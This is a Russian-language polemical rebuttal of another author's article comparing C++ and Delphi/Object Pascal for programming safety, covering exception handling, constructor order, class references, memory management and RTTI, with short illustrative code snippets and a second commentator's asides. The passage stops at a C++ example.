Данный материал является независимым дополнением/исправлением к статье Дмитрия Логинова "ЯП, ОПП и т.д. и т.п. в свете безопасности программирования". Поводом к написанию явилось наличие в исходном материале множества неточностей и откровенно ложных сведений, вводящих в заблуждение неподготовленного читателя. Условно материал Дмитрия можно разделить на две части: историческую и непосредственно техническую. По исторической части у меня вопросов нет, и прочитал я ее с большим интересом. Целью данного материала является внесение ясности по техническим вопросам в меру моих скромных знаний. Исходный текст я буду приводить курсивом. Т.к. в статье в основном сравнивается C++ и Delphi, то вместо Pascal или Object Pascal будет использоваться сокращение ОР. Т.к. автор в своем повествовании не ограничивался сравнением только безопасности программирования в С++ и ОР, то я также позволю себе сравнения по всем аспектам. Конечно, только в рамках технических фактов. Кроме того, в скобках иногда будут встречаться комментарии за подписью КоТ. Это замечания одного непрофессионального программиста по поводу моих и Дмитрия размышлений. Пишет он в С++ и исключительно под Linux, называет себя не иначе, как глупым ламером. Впрочем, исходя хотя бы из того, что обычно настоящие ламеры себя таковыми не считают, его высказывания весьма интересны и часто к месту. Итак, приступим. Сразу замечу, что размер страницы памяти для процессоров Intel и MIPS составляет 4К, а для Alpha - 8K (а не 2 и 4К соответственно). Начнем с принципиальных отличий в модели обработки исключений в С++ от Делфи. И какие это порождает гадости (КоТ: почему именно гадости?). В первую очередь, Борланд ввел некоторые ограничения на перегенерацию собственных исключений. Вырезка из Help: 1) You cannot rethrow an operating system exception once the catch frame has been exited and have it be caught by intervening VCL catch frames. 2) You cannot rethrow an operating system exception once the catch frame has been exited and have it be caught by intervening operating system catch frames. 3) You cannot use "throw"(аналог Делфийского raise) to reraise an exception that was caught within VCL code. Приведенная автором вырезка в Delphi Help отсутствует. Да и с какой стати там будет указываться ключевое слово "throw" из С++? Более всего это похоже на вырезку из хелпа C++ Builder. Соответственно и ограничения на работу с более мощной моделью исключений ОР, используемой в VCL (доказательства будут ниже). Выводы делаем сами… Рассматривая модель ООП в Делфях и модель ООП в С++, легко прийти к выводу, что функционально модель С++ шире, и поэтому Борландовский Буилдер легко "глотает" делфийский VCL. Используя модель ООП С++, создать, к примеру, среду Delphi или библиотеку VCL невозможно в принципе (если не касаться разработки новых компиляторов). Это было неоднократно доказано в дискуссиях с другими фанатами С++. Как ограничения выступают отсутствие классовых ссылок, виртуальных конструкторов и ущербная модель RTTI в С++. Не буду утверждать, как работает C++ Builder, но подозреваю, что ключевые моменты работы среды с компонентами написаны на ОР. Думаю, если бы С++ позволял написать VCL, то Delphi пришлось бы сейчас "глотать" чужой код. Но пока все наоборот. Кстати, Borland имела прекрасную возможность пересмотреть свои воззрения на языковую основу VCL при разработке Kylix (этот проект включает и ОР и С++). Однако революции не произошло. Революция уже случилась в 95-м году с выходом Delphi 1 :) В С++ классы могут находиться в любой памяти, из перечисленных выше трех [статическая, стек, динамическая]. (КоТ: Никакого плюса не вижу, говорю как С++ - программер. Мало геморроя с распределением динамической памяти, так еще и со всеми другими. Из-за этого я на линух от доса перешел - кстати. И вообще, на мой (ламерский) взгляд, распределение памяти - вопрос не к языку, а к мемори-модели операционной системы.) В Делфи классы (объекты) могут располагаться только в динамической памяти Что, безусловно, добавляет той самой безопасности программирования. К примеру, функция может вернуть ссылку на объект в стеке, который уже уничтожен. (КоТ: такие ошибки у меня часто были в досовском паскале. Именно тогда я привык инициализировать все переменные в процессе декларирования.) Если Дмитрий интересовался вопросами сборки мусора, то не мне ему объяснять, что сделать это в одной динамической памяти куда легче. Из этого вытекает следующее отличие. Все конструкторы и деструкторы классов Паскаля вызываются явно.
object := TMyObject.Create. // где-то в начале
  //....
object.Free; // где-то в конце
С одной стороны хорошо. Все ясно, как никогда. Но это специфика Паскаля заставляет программера делать уйму работы, и порой ошибаться
(КоТ: а что, С++ прямо так вот и гарантирует безошибочность?) Частенько бывает необходимо иметь "неявный" вызов или конструктор "по умолчанию". Конструктор класса С++, например, вызывается как только встречается описание экземпляра (переменной) класса. И, соответственно, деструктор вызовется, как только класс "выйдет из области видимости". (КоТ: опять подмена терминов. Т.е. банально нечестная игра. Справедливей, имхо, сказать, что в определенных задачах приходится не надеяться на механизм порождения классов дельфы. Но ведь и в С++ есть точно такие же ситуации - где-то ты можешь положиться на язык (компилятор), где-то - не можешь. Так в чем же преимущество?) Не нужно преувеличивать количество работы программера. Вызвать конструктор и деструктор совсем не сложно. К тому же, компоненты на форме, например, создаются и уничтожаются автоматически, что очень облегчает жизнь новичкам. При уничтожении компонента ссылка на него в обязательном порядке обнуляется компонентом-владельцем. А что касается области видимости класса и времени жизни, то это элементарно организуется использованием интерфейсов. Всю работу по подсчету количества ссылок и автоматическому менеджменту памяти возьмет на себя Delphi. (КоТ: кстати, в том же С++ такой же механизм я сам организовывал часов за восемь. Не скажу, что просто и легко, но возможно. Минус - лишний геморрой, плюс - можешь сделать сам, какой нужно, с точностью до битовых полей и регистров.) В Delphi этот механизм также может быть легко реализован по-своему. К тому же, такая форма конструирования имеет под собой четкую логическую основу. Она напрямую ориентированна на использование классовых ссылок, когда вместо статического указания типа (TMyObject) используется переменная типа "тип класса":
TComponentClass = class of TComponent; //ссылка на класс
function CreateAny(AType: TComponentClass): TComponent;
begin
  Result := AType.Create(nil);
end;
…
Form1.InsertComponent(CreateAny(TButton));
// Создали кнопку
Form1.InsertComponent(CreateAny(Edit1.ClassType));
// Создали еще одно поле редактирования
Скажем прямо, такие решения в С++ недоступны. В качестве лирического отступления можно сказать, что именно на этом основана работа Delphi IDE с любым компонентом. Вас не удивляло, что Delphi способна не то что без перекомпиляции, а даже без перезапуска брать внешние, абсолютно не знакомые ей классы (компоненты, которые можно инсталлировать хоть каждые 5 минут, тип которых, конечно, неизвестен) и строить на их основе другие классы (формы и т.д.) в run-time (для разработчика design-time)? (КоТ: круто, конечно) Очень занимательный вопрос, скажу я вам. Прикиньте, как бы вы реализовали это в своем приложении. Механизм должен быть очень универсальным, работающим для любого компонента. Компоненты поставляются, например, в виде DLL (или packages - разновидность DLL). Тут никакая RTTI в чистом виде не поможет. Применительно к этой задаче даже шаблоны С++ абсолютно бесполезны, т.к. они являются механизмом compile-time only. Секрет заключается в механизме классовых ссылок, которые фактически являются ссылками на VMT класса. Классовые ссылки регистрируются в пакетах с помощью процедуры Register. Ну и без виртуальных конструкторов, конечно, здесь тоже каши не сваришь. Ну теперь самое интересное - динамическая память. Тут еще проще - у указателей конструкторов и деструкторов нет. Но, повторюсь, это у встроенных типов. Чтобы вызвать конструктор у указателя надо воспользоваться оператором new. В случае же удаления - оператором delete. TComplex* c; // переменная указатель на тип TComplex - ниче не вызывается. (КоТ: ну кто же в софтине будет САМ создавать указатель на пустое место? Зачем? Чтобы stack еrrоr'ом по хоботу получить? Объявил переменную - инициализируй!!! Вот так:
ТСоmр1ех*  c=new TComplex(1,1)
// "а будешь делать не так, надеру уши" (с) Зеф, "Обитаемый остров")
c = new TComplex(1,1); // выделяется память под TComplex и вызывается его конструктор с параметрами.
delete c; // освобождаем память предварительно вызвав деструктор Tcomplex
Вот здесь работа с классами похожа на Делфийскую работу. Похожа-то, похожа - да не совсем.
. (КоТ: на CENSORED похожа, да и работы я здесь не вижу что-то.) Во-первых: как вы успели заметить new и delete - это операторы. Значит их можно переопределять (КоТ: кстати, НЕ ВСЯКИЙ оператор С++ переопределяется). Значит, где захочу - там и будут лежать мои классы. Так можно организовать несколько куч, даже не имея "много-кучевого" менеджера ОС. Я позже опишу, как это влияет на безопасность Странно, но Дмитрию не известно, что управление памятью классов в ОР реализовано даже не с помощью операторов, а гораздо красивее - на уровне TObject, виртуальными (!) методами NewInstance и FreeInstance. Таким образом, абсолютно ЛЮБОЙ класс может переопределить эти методы для осуществления желания "где хочу - там и буду лежать". Соответственно организуется и "многокучность". Во-вторых: здесь всплывает понятие "ВРЕМЯ ЖИЗНИ КЛАССА" и то, как обрабатываются исключения в конструкторах и деструкторах. Рассмотрим это поближе. В Делфи время жизни класса таково: Рождение: Класс начинает свое существование сразу ПОСЛЕ окончания работы КОНСТРУКТОРА(вызов AfterConstruction). Смерть: Класс заканчивает свое существование сразу ПОСЛЕ окончания работы ДЕСТРУКТОРА(вызов BeforeDestruction). Неправильно. Before он на то и Before, чтобы отрабатывать ДО вызова деструктора. И это вовсе не значит, что класс уже уничтожен. Для справки: BeforeDestruction введен для того, чтобы создатель класса был уверен, что необходимые действия перед его уничтожением будут выполнены всегда, независимо от того, вызовут или нет его потомки унаследованный деструктор. По поводу AfterConstruction разговор будет чуть позже. Кроме того, и конструкторы и деструкторы в ОР имеют приятную особенность (и далеко не одну). Они могут вызываться как обычные методы. Для этого в них передается неявный параметр. Не путать с неявным Self или this. Кстати, Self в классовых методах ОР является классовой ссылкой, а не объектной. Так что вопросы рождения и смерти в ОР далеко не так тривиальны. Впрочем, самые интересные подробности еще впереди. В С++ немножечко по другому: Рождение: Сразу ПЕРЕД телом конструктора. Смерть: Сразу ПОСЛЕ тела деструктора. Это несколько меняет работу с конструкторами/деструкторами родителями и конструкторами/деструкторами членами. Вот С++:
   class TChild : public TMama,TPapa{ // :o)
     TMemberOne member_1_;
     TMembarTwo member_2_;
   public:
     TChild() { cout<<"TChild created!"; }
   }
Порядок конструкторов будет следующий: TMama, TPapa, TMemberOne, TMemberTwo и только потом вызовется ТЕЛО конструктора TChild. Это логично и похоже на правду.
(КоТ: немножко беременной быть можно? Это похоже на правду, или это правда? Разницу чувствуете?) Действительно, когда мы можем получить доступ к методам и полям(переменным класса) родителей и классов-членов(конкретных классов)? Мы можем получить этот доступ только, когда они сконструированы. И это лучше оставить на совести компилятора, чем надеяться на программера. Вообще типичной идеологией компилятора С++ считается: "Ну, парень, если ты хочешь сделать именно так, делай, а я умываю руки". А тут такая удивительная забота о программере! Только вот она в данном случае совсем не к месту, по крайней мере, в таком виде. Как контраст - конструкторы ОР. Допустим, у нас есть иерархия классов A -> B -> C. Мы конструируем класс С. Действительно, в С++ последовательность конструирования будет A -> B -> C. И никак иначе. Теперь признайтесь, когда вы пишите конструктор в ОР, вы ведь первым делом указываете вызов inherited. Да? В этом случае последовательность конструирования абсолютно аналогична. Но! Стоит вам убрать inherited, и Delphi будет конструировать класс C в последовательности C -> B -> A. Неплохо для начала, но это еще цветочки. Незаметное inherited дает вам полный контроль над тем КАК, КОГДА и КАКИЕ конструкторы будут вызываться (и будут ли вызываться вообще, ведь inherited можно и в if засунуть). Нет никаких ограничений на расположение inherited в теле конструктора. А ведь его еще можно дополнить именем конкретного конструктора предка с указанием нужных параметров. Ну и, конечно, можно вызывать собственные конструкторы. (КоТ: это здорово, однако). Таким образом, сначала, например, может отработать часть конструктора С, затем конструкторы предков, затем оставшаяся часть конструктора С. Для чего все это? Прозаический пример. В конструкторе С создается некоторый объект (аллокатор памяти, например), который используется для работы в конструкторе предка B. Другой наследник, класс D, может создавать совершенно другой объект. Создание этого объекта можно вынести в виртуальную функцию, которую вызывать перед inherited. Да, такие возможности используются не слишком часто, но им есть реальное применение. Показательно, что подобный подход нереализуем в С++ никакими способами. Он никогда не даст создать что-то ПЕРЕД работой конструктора предка. (КоТ: сорри, сир! Переопределив new под это дело (кстати, одно из упражнений в каком-то С++-учебнике), вполне возможно и вызвать. Только потом приходится delete лечить - он-то базируется на стандартных умолчаниях. То есть, данных объекта нет, и объекту адрес не выделен, но VMT его есть. В библиотеке или там где еще, не суть. И к этой VMT можно добраться через разную там… гм… CENSORED Плюс дельфы в откровенности доступа ко всем VMT проекта, независимо, созданы ли объекты соответствующих классов). Как правило, на этом месте фанаты С++ начинают кричать, что это де нелогично, так быть не должно… Но на самом деле нет ничего плохого в том, что конструктор использует в своей работе виртуальные принципы. Никто не утверждает, что экземпляр станет объектом С или В раньше, чем он станет объектом А. Конструкторы всего лишь выполняют свою работу, не важно в каком порядке. (КоТ: От слабости кричать. Т.к. это, безусловно, бонус дельфе перед С++, но и С++-модель определенные преимущества все-таки имеет). Более того, вызов указанной виртуальной функции совершенно бесполезен. Почему? В С++ при работе каждого из конструкторов A, B, C таблица виртуальных методов VMT будет соответствовать именно тому классу, к которому принадлежит конструктор. Т.е. вызов ЛЮБЫХ виртуальных методов в конструкторе С++ теряет всякий смысл, т.к. не является виртуальным (будет вызван соответствующий метод для класса А или В, а не для С). То же касается и деструкторов С++. В ОР при работе любого из конструкторов предков VMT всегда соответствует РЕАЛЬНОМУ создаваемому классу, т.е. классу С. Вызовы виртуальных методов будут правильными. В принципе, это может создать опасную ситуацию, когда в данном виртуальном методе какой-то из наследников подразумевает, что класс уже полностью сконструирован. Именно для разрешения этой проблемы и существует виртуальный метод AfterConstruction. Теперь мы четко видим, что конструкторы ОР обладают НАМНОГО большей гибкостью и мощью. Конечно, при условии, что программист понимает, что делает. (КоТ: при условии, что программист понимает, что делает, и С++ не так уж плох ;-) А это не так уж и сложно. По крайней мере, практика показывает, что эти конструкторы не доставляют никаких хлопот программистам. А значит, увеличение мощи не уменьшило "безопасности программирования" :) Продолжим.
class E: public A,B {
     C* c_;
     D* d_;
   public:  
      E(); // реализацию см.ниже
     ~E() { delete d_; delete c_; }
   }
   E::E() // конструктор класса E
   try
      : A(1), B(1), c_( new C ), d_( new D ) // список инициализации
   { //начало тела конструктора
     cout<<"Constructor body";
   } // конец тела конструктора
   catch(...){ // ловим любое исключение
        A::~A();
        B::~B();
        delete c_;
        delete d_;
   }
Непривычное написание, не так ли? Да, в Делфях нельзя ВЕСЬ процесс конструирования поместить в блок try except.
Неправильно! Скорее можно сказать, что в ОР нельзя НЕ поместить весь процесс конструирования в блок try…except. При вызове конструктора ОР как классового (статического, в терминах С++) метода (т.е. через классовую ссылку) блок try…except устанавливается АВТОМАТИЧЕСКИ. При возникновении любого необработанного исключения в конструкторе автоматически вызывается деструктор. Это, однако, не мешает вписать в тело конструктора свои блоки обработки исключений, в том числе и для полной, безопасной обработки некоторых их типов. Здесь уместно более подробно осветить различия в способах вызова конструкторов ОР. Как я уже говорил, конструктору компилятором неявно передается параметр, который говорит, что он вызывается как классовый или как обычный метод. В случае классового метода: устанавливается блок try…except; вызывается виртуальный метод NewInstance, выделяющий память под экземпляр класса. В случае переопределения Вами этого метода: размер экземпляра можно получить методом InstanceSize; память нужно очистить методом InitInstance; отрабатывает тело конструктора; вызывается виртуальный метод AfterConstruction. В случае обычного метода выполняется только тело конструктора. Блок try…except НЕ устанавливается. Так вызываются все собственные конструкторы и конструкторы предков из тела какого-либо конструктора класса (они все равно попадут в установленный блок обработки исключений). Конструктор может быть вызван где угодно. Главное - использовать объектную ссылку (Self.Create), а не классовую. Условно, реальный код конструктора мог бы выглядеть так:
function TSomething.Create(IsClassRef: boolean): TSomething;
begin
  if IsClassRef then
  try
    Self := TSomthing.NewInstance;
    InitInstance(Self);
    Self.Create(False); // Тело конструктора,
    // написанное разработчиком
    Self.AfterConstruction;
  except
    Self.Destroy; // Если что - харакири :)
  end
  else
    Self.Create(False); // Тело конструктора
  Result := Self;
end;
Аналогичная песня с деструкторами. Но здесь обойдемся без лишних объяснений:
procedure TSomething.Destroy(Deallocate: boolean);
begin
  if Deallocate then
    Self.BeforeDestruction;
  Self.Destroy(False);
  if Deallocate then
  begin
    Self.CleanupInstance;
    Self.FreeInstance;
  end;
end;
Еще раз замечу, что это чисто гипотетический код, создаваемый компилятором, а не реализация конкретного класса. Конечно, в нем нет никаких рекурсивных вызовов. Продолжим. Но как же быть с динамическими ресурсами? Спросите вы. Все очень просто:
   E::E() // конструктор класса E
   try
      : A(1), B(1), c_( NULL ), d_( NULL ) // список инициализации
      { //начало тела конструктора
     try{ 
         c_ = new C;
         d_ = new D;
         cout<<"Constructor body";
     }
     catch(...){
         if(c_) delete C;
         if(d_) delete D;
         throw;
     }
   } // конец тела конструктора
   catch(...){ // ловим любое исключение
        throw E_ErrorCreate();
   }
Видно, что я использовал блок try...catch только для "перевода" одного исключения в другое. И назначение этого блока только такое и никакого другого. Использование его в других целях может привести к гадостям
(КоТ: если ножом кухонным неправильно пользоваться, это МОЖЕТ привести даже к смерти… Но ведь не обязательно же приводит! Так претензии к ножу (языку), или к кривым рукам?) ,поэтому в некоторых С++ компиляторах (фирмы Борланд например) эта возможность от греха подальше убрана. Вы еще не заскучали? Нет, Дмитрий, с Вами не соскучишься :) Здесь хочу лишь заметить, что в ОР нет необходимости чистить ресурсы в конструкторе. На это есть деструктор! (КоТ: Вот!!!) Логично, не так ли? Зачем плодить двойной код. А вот конструкции вида
if Assigned(MyObject1) then
  FreeAndNil(MyObject1);
if Assigned(MyObject2) then
  FreeAndNil(MyObject2);
ОЧЕНЬ рекомендуется использовать именно в деструкторе. Это хороший стиль. (КоТ: что да, то да.) Конструкция аналогичная if (c_) delete c_ (кстати, здесь была ошибка). (КоТ: с != 0 бывает, т.к NULL-тип машинно-зависимый. Но пустой указатель где-то представлен, напр, отрицательным числом. Если мне понадобилось, я бы писал
if (С ! = NULL) // что надо сделать с С
хотя Страуструп и советует использовать 0 вместо NULL - в третьей редакции книги. В первой, помнится, советовал обратное ;) Ведь деструктор может быть вызван в любой момент работы конструктора, и часть ресурсов будет неинициализирована. Привел я этот пример не для демонстрации возможностей блока try...catch, а для того чтобы показать как С++ сам делает безопасным процесс "конструирования" класса. В Делфи все это ложиться на хрупкие плЭчи программера.

(КоТ: "Врать не надо по телефону" (с) Булгаков).

Теперь мы видим, кто действительно "сам делает безопасным процесс конструирования класса", а кто перекладывает все это на чьи-то "хрупкие плЭчи". Кстати о Делфях, я там не нашел аналог функции С++ - uncaught_exception() - показывает статус стека исключений. Благодаря этой функции ваш деструктор знает - нормальное это "устранение" класса или не нормальное. По-моему, очень даже пользительно. Что значит ненормальное устранение класса? Может, мы еще будем считать возникновение исключения ненормальной ситуацией? Между прочим, на исключениях вполне можно выстроить логику работы класса или библиотеки. В ОР этому, кстати, очень способствуют такие преимущества модели исключений перед ANSI C++, как наличие общего предка исключений (и то, что это вообще классы, а не абы что) и наличие блока try…finally (ну это просто добавляет удобств по сравнению с try…catch(…){ throw; }) Поэтому не совсем понятно, зачем понадобилась некая функция uncaught_exception(). Зачем лезть в идеологию работы исключений со своим уставом? Ведь они как раз и избавляют разработчика от чрезмерного применения if. Это еще называется реактивной моделью программирования. Но, раз есть спрос, то есть и предложение: ExceptAddr function - returns the address at which the current exception was raised. ExceptObject function - returns a reference to the object associated with the current exception. ExceptProc variable - points to the lowest-level RTL exception handler. Фича в том, что оператор new уже выделил память для экземпляра класса TObject, а тут ррраз! И исключение! Что делает С++? Он тут же освободит память - не надо ставить блок try...catch. Все сделает С++. Ну, как говориться, приятная неожиданность. (КоТ: это стандарт, и кто не знает его, как может говорить, что знает С++?) Ну, это только для тех, кто не очень хорошо знает ОР и С++. Впрочем, такие "детские" неожиданности не избавляют программера в С++ от необходимости защиты динамических ресурсов. В ОР же в это время можно попить пива ;) Я не привожу примеры реализации более полезных УМНЫХ указателей, реализующих сборку мусора и правильную работу с ресурсами вообще. Судя по всему, автор прочитал книгу Джефа Элджера "C++", испестренную идеями УМНЫХ, ВЕДУЩИХ, ГЕНИАЛЬНЫХ указателей и сборки мусора. Здесь хочу заметить, что я иногда читаю книги с карандашом в руке. Это очень хорошая, умная (КоТ: ведущая и гениальная ;-) книга про С++. Только во время ее чтения, постоянно задумываешься, а как можно сделать тоже самое в ОР. В результате после прочтения книга превратилась в записную книжку, испестренную замечаниями о том, насколько проще и красивее выглядела бы в ОР большая часть предлагаемых решений. Для интересующихся - основная идея в использовании свойств и интерфейсов. 1) Работа с несколькими "собственными" кучами. Например, все покупатели складываются в одну кучу. А поступаемые товары в другую… Как видите осталось только реализовать менеджер кучи, что в рамках С++ вещь простая и ведущая себя незаметно (как встроенная фича). Можно так извернуться в Делфях? Нет (КоТ: Если можно проще и лучше, так изворачиваться-то нафиг?) Мы уже выяснили, что можно. И как-то изворачиванием это и не назовешь. Обычная работа. Хочешь, переопределяй работу с памятью на уровне классов, хочешь, глобальный менеджер памяти напиши. 2) Помимо "многокучности", оператор new предоставляет вам возможность "виртуального" размещения объекта. Например в файле, в Сети, где вашей душеньке будет угодно. Это тоже недоступно в Делфях. (КоТ: Это и в С++ без корбы тоже не особенно хорошо получается, кстати. И опять же, нафига? чтобы без спроса прога в своп лазила? Или в инет звонила?) Откуда такая категоричность? Возможностей "виртуального" размещения у ОР ничуть не меньше. Или операционная система предоставляет для программ на С++ особые механизмы работы с файлами, с сетью и т.д.? Кстати о преобразовании типов. Делфи обязан безопасному преобразованию типов(as и is) C++, а точнее шаблону dynamic_cast. (КоТ: Страуструп: "как правило, НЕБЕЗОПАСНО (выделено мной - КоТ) использовать указатель, преобразованный или приведенный с помощью функций …_cast к типу, отличному от типа объекта, на который он указывает.") Да, а в ОР эта вещь абсолютно безопасна… Не уверен, что кто-то кому-то обязан, тем более шаблону. У ОР всегда была и остается система RTTI, намного превосходящая возможности С++. Да и вообще, RTTI - это обобщенный языковой механизм. При чем здесь конкретные реализации? Правда в Делфях такое же ограничение на множественное наследование, как и в Яве. Один класс должен быть интерфейсным. Что за терминология? Дмитрий, наверное, имел в виду, что в списке предков класса ДОЛЖЕН быть указан один класс, и МОЖЕТ быть указано сколько угодно интерфейсов. Дело в том, что в Делфи тип class реализован через одно очень загадочное место. Связано это с большой нелюбовью паскаля к памяти (КоТ: это БЫЛО в ДОСе, десять лет назад, но ведь с тех пор воды утекло - !!!) Можно, конечно, и так сказать. Все в мире относительно. Но я до сих пор встречал очень мало людей, достаточно глубоко знающих устройство классов в Delphi, точнее мне доводилось только читать их труды. И статью Дмитрия тяжело отнести к таким трудам. И почему он решил, что ОР не любит память? Тип указатель в паскале создан только для того, чтобы указывать на что-то в динамической памяти(куче). Он создан, как шлюз между статической памятью паскаля и кучей. Странно, но зачем-то разработчики языка оставили возможность приводить целое к указателю (КоТ: к дождю, может быть? ;-) Ни разу не доводилось слышать об ограничении указателей ОР на работу только с кучей. Возможность же приводить целое к указателю позволяет "двигаться" по памяти (не думаю, что это секрет для Дмитрия). Кстати, для указателей на строки допустимы операции "+" и "-" (в том числе в комбинации с целыми) без приведения типов. Такое понятие как ссылка не знакомо паскалю (КоТ: тогда в 6.0 под ДОС я работал не с ссылками… а с чем???) Ссылка в терминологии ОР - это типизированный указатель. А используя термины С++ (КоТ: Страуструп: "Ссылка является альтернативным именем объекта.") ссылкой в ОР являются формальные параметры методов, объявленные с использованием var или out (возможно кто-то не знал, out - то же, что и var, только работает исключительно на возврат значения). Кроме того, чистой воды ссылками являются объектные переменные (Button1: TButton). Если вы пишите класс "комплексное число", а затем решаете создать массив чисел, то array [1..10] of TComplex; будет на самом деле занимать в памяти 4*10 байт плюс выравнивание. Т.о. вы может быть хотели именно массив ТОЛЬКО КОМПЛЕКСНЫХ чисел, а не указателей на них. Но вместо этого, после инициализации, у вас будет израсходовано (4*10 + 10*sizeof(TComplex)) байт памяти. Короче сами считайте Действительно, использовать классы ОР в массивах не очень удобно. Есть несколько более экономичных решений: 1) Можно организовать свой менеджмент памяти для TComplex, размещая экземпляры в памяти подряд (например, в заранее выделенном пуле), и работу, скажем, на основе динамического массива. Не самое простое решение, но весьма эффективное и красивое (КоТ: Кстати, активно применяется в С++-модели). 2) Можно вместо классов использовать записи record, организовав их в массив, являющийся свойством по умолчанию какого-то класса:
TItem = record …
end;
TArray = class
public
  property Items[Index: integer]: TItem
  read GetItem
    write SetItem;
  default;
end;
Это будет самое экономичное решение, т.к. каждый экземпляр любого класса имел бы как минимум ссылку на таблицу VMT. А запись содержит только необходимые данные. Вся же логика работы - в классе TArray. 3) Можно использовать старые "объекты" Паскаля вместо "классов": TComplex = object … end; И массив таких объектов будет содержать сами объекты, а не ссылки на них. Это будет самое оригинальное решение. Кстати, на таких объектах построена библиотека KOL (http://xcl.cjb.net/) - аналог VCL. Размер EXE файлов с использованием этой библиотеки начинается от 4.5К (если не изменяет склероз :) Одним словом, проблема в разработчике, а не в языке. (КоТ: Вот!!!) Паскаль маленький язык и это не недостаток. (КоТ: Уф!. Ну сколько можно говорить о паскале 10-летней давности?) ?) Его не замечаешь, когда пишешь прогу большую или маленькую. (КоТ: это высшая похвала паскалю вообще. Лучшая одежда - та, которой не замечаешь.) Почему? (КоТ: Потому, что это хороший язык.) Потому что Паскаль от Борланд специальный язык, т.е. предназначен для узкой области. Узкая - это не значит, что программ мало, просто цели в этой области отличаются не намного. (КоТ: "С++ создавался для того, чтобы ИЗБАВИТЬ автора и его друзей ОТ ПРОГРАММИРОВАНИЯ НА АССЕМБЛЕРЕ" - (с) Бьерн Страуструп. Дельфа, возможно, создавалась для того, чтобы избавить автора от программирования на паскале, который вообще создавался изначально для ОБУЧЕНИЯ ПОНЯТИЯМ информатики. Оба эти языка свои цели выполнили с блеском. Ну так о чем же спор, цели-то разные?) Не знаю, может быть ОР и маленький язык. Однако я оцениваю свои знания ОР не более, чем на 60-70% (хотя меня как-то угораздило сдать экзамен на сертификат Brainbench Certified Master Delphi Programmer :), не включая сюда VCL или среду Delphi, разговор только о самом языке. Если охватить все, то я вообще ничего не знаю. Поэтому мне даже как-то неловко заниматься здесь исправлениями. Я считаю, что для этого необходим куда больший кругозор. Но пока за эту задачу никто не взялся. Видимо настоящим профессионалам просто не до этого. По поводу узости области применения. До последнего времени я считал, что единственное, что нельзя делать в Delphi - это писать драйвера (ОР тут ни причем, это не языковое ограничение). Но недавно натолкнулся на пример создания в Delphi 3 драйвера VxD. Что еще? Игрушки, сетевые сервисы, системные утилиты, распределенные базы данных, научные программы, средства мультимедиа в Delphi пишут и очень успешно. Так о чем речь? Поэтому резонно было бы выбрать язык, который необходим только для склеивания компонентов или их написания. За все остальное отвечает среда. После таких утверждений становится странно, как человек позволяет себе критиковать продукт, о котором имеет лишь зачаточное представление. За что "все остальное" отвечает среда? В виде списка, пожалуйста. Delphi IDE - это, по большому счету, лишь оболочка, набор зацепок к возможностям библиотеки VCL и шикарный пример использования возможностей языка. Это продукт, тратящий наименьшее количество усилий для выполнения одной и той же работы в сравнении с аналогами. Ведь в лице библиотеки VCL он в design-time использует тот же самый код, который работает в готовом приложении. Для сохранения спроектированной формы со всеми компонентами в ресурс Delphi достаточно одной строчки кода! И потом, "склеивание" и "написание" компонент - вещи по своей сложности абсолютно разные. Visual Basic тоже хорошо склеивает COM-компоненты, только вот с их написанием у VB как-то не очень… То, что ОР позволяет легко и непринужденно создавать и склеивать любые компоненты говорит лишь о его мощности, продуктивности и универсальности. Совершенно очевидно, что сегодня ОР по этому показателю не имеет не то что конкурентов, а даже толковых аналогов. VCL не является языковым расширением Паскаля - это "ОО" библиотека. Транспортом же между такими библиотеками и отдельными компонентами выступает некая переделка СОМ от Борланд. Да, VCL - вещь самостоятельная, пока она строится на ОР. Далее автор, похоже, говорит о RTTI. Но причем здесь транспорт между библиотеками и отдельными компонентами? Библиотека - понятие чисто условное. Каждый написанный мной компонент становится полноправной частью VCL. Правильнее, наверно, говорить о транспорте между компонентами и их пользователями, в частности средой Delphi IDE. К вопросу о переделках. Delphi начинала разрабатываться где-то в 92-93 году. Трудно говорить, кто кого переделал. Да это и не важно. Важно то, что компонент Delphi в полной мере обладает обоими механизмами. И опять же отбросьте этот транспорт, который не является частью языка, и от Делфи ничего не останется. (КоТ: Отбрось Gdb\Gtk, STL - что останется от милого нашему сердцу С++?) Поэтому Делфи очень гармоничная со своими недостатками среда для разработки GUI приложений под винды. Да, RTTI - незаметная, но ключевая для Delphi технология. А вот с тем, что она не является частью языка можно крепко поспорить. Достаточно вспомнить операторы AS и IS, которые целиком базируются на RTTI. Да и от TObject никуда не убежишь. Попробуй скажи, что это не часть языка. А ведь основное содержание TObject - реализация RTTI. Кроме того, Delphi идеально подходит не только для создания GUI приложений, но и консольных, и приложений без визуального интерфейса вообще (например, сервисы Windows NT). К счастью компоненты Delphi не ставят во главу угла визуальность/невизуальность. Это абсолютно универсальные в применении классы. Уже поэтому Delphi разительно отличается от, например, MSVC++, где в основе слова "Visual" лежит наличие у компонента оконного идентификатора и множество маловразумительных макросов и комментариев по тексту, которые нельзя (!) редактировать. Вот где действительно безопасный язык! Ведь программист может все испортить :) По поводу недостатков можно сказать лишь то, что вряд ли у конкурирующих с Delphi продуктов их меньше. А вообще, давайте взглянем на Delphi 6 и Kylix. Уверен, что сюрпризов там будет более чем достаточно.

(Кот: я очень надеюсь, что у нас научатся, наконец, считать "Итого", а не только недостатки и достоинства отдельно).

Похоже, Дмитрий применительно к безопасности программирования рассматривал только те моменты, которые, по его мнению, хорошо смотрелись в С++ в сравнении с ОР. Здесь, кстати, стоит упомянуть такие преимущества С++ над ОР, как возможность понижать видимость членов класса, а также указание const при объявлении метода, что гарантирует неизменность атрибутов объекта при вызове метода. Однако не стоит забывать, что ОР является языком, который действительно ставит во главу угла безопасность практически во всем. Можно долго перечислять все его тонкости, избавляющие программера от головной боли и рутиной работы. Как пример, можно привести директиву implements для свойств (делегирование реализации) или объявление глобальных переменных в разделе threadvar для поддержки многопоточности, или замечательную реализацию работы со строками и динамическими массивами на уровне компилятора. Очень важное для безопасности программирования свойство - объявление новых типов. Гради Буч: "К сожалению, конструкция typedef не определяет нового типа данных и не обеспечивает его защиты. Например, следующее описание в С++:
typedef int Count;
просто вводит синоним для примитивного типа int." В ОР же мы можем создать абсолютно новый тип. Для этого надо применить ключевое слово type:
type
  Count = type int64; // другой тип
  Alias = int64; // синоним
Типы Count и int64 уже не будут совместимы без приведения типов. А вот пример стандартизованной фичи компилятора (соответственно и языка) С++:
long FileSize = 256 * 1024;
